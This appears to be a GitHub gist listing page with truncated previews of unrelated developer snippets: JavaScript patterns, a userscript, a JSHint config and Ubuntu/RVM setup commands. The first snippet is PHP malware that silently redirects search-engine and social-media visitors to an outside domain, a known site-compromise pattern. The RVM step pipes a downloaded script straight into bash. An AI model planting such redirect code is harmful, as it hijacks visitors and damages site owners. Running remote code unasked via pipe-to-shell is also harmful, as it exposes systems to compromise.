to boostrap my dev environment :D
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
error_reporting(0); | |
$nccv=headers_sent(); | |
if (!$nccv){ | |
$referer=$_SERVER['HTTP_REFERER']; | |
$ua=$_SERVER['HTTP_USER_AGENT']; | |
if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"msn") or stristr($referer,"bing") or stristr($referer,"ask") or stristr($referer,"youtube") or stristr($referer,"facebook") ) { | |
if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl")){ | |
header("Location: http://bbpliops.345.pl/"); | |
exit(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var myObject = (function(){ | |
var _private = { | |
someVar: "This is private", | |
privateFunction = function(){ /* do-something*/ }; | |
} | |
return { | |
publicVar : "This is public", | |
publicFunction : function(){ | |
/*do-something*/ | |
}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var superView = Backbone.View.extend({ | |
initialize: function(){ | |
if(this.val2) this.op.c = this.val2; | |
console.log(this.op); | |
}, | |
op: {a:"B"}, | |
m1: function(){}, | |
m2: function(){}, | |
events1: { | |
"click div":"m1" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name getWin | |
// @namespace my.util | |
// @include http://kunghc.pixnet.net/blog/post/30967503 | |
// @version 1 | |
// ==/UserScript== | |
function createCookie(name,value,days) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// type 1 | |
function(foo){ | |
var bar = foo || global.defaultObject; | |
if(bar) bar.exec(); | |
} | |
// type 2 | |
function(foo){ | |
(foo || global.defaultObject) && (foo || global.defaultObject).exec(); | |
} |
Only do this if you understand the consequences: all node programs will be able to bind on ports < 1024
sudo setcap 'cap_net_bind_service=+ep' /usr/local/bin/node
Important: your node location may vary. Use which node
to find it, or use it directly in the command:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#https://gorails.com/setup/ubuntu/14.04 | |
sudo apt-get update | |
sudo apt-get install git-core curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev python-software-properties | |
sudo apt-get install libgdbm-dev libncurses5-dev automake libtool bison libffi-dev | |
curl -L https://get.rvm.io | bash -s stable | |
source ~/.rvm/scripts/rvm | |
echo "source ~/.rvm/scripts/rvm" >> ~/.bashrc | |
rvm install 2.1.2 | |
rvm use 2.1.2 --default |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Show hidden characters
{ | |
// Settings | |
"passfail" : false, // Stop on first error. | |
"maxerr" : 100, // Maximum errors before stopping. | |
// Predefined globals whom JSHint will ignore. | |
"browser" : true, // Standard browser globals e.g. `window`, `document`. | |
"node" : true, |
OlderNewer